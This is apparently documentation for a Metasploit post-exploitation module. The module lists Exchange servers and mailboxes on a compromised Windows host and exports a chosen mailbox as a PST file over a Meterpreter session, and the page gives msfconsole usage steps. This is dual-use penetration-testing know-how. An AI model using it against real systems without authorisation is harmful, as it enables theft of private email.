Vulnerable Application

This module will gather information from an on-premise Exchange Server running on the target machine.

Two actions are supported:

LIST (default action): List basic information about all Exchange servers and mailboxes hosted on the target.

EXPORT: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword.

It requires that the effective Meterpreter session user be assigned to the "Organization Management" role group.

Verification Steps

1. Start msfconsole
2. Get meterpreter session on a Windows target running an Exchange Server
3. Do: use post/windows/gather/exchange
4. Do: set SESSION <session id>
5. Do: run
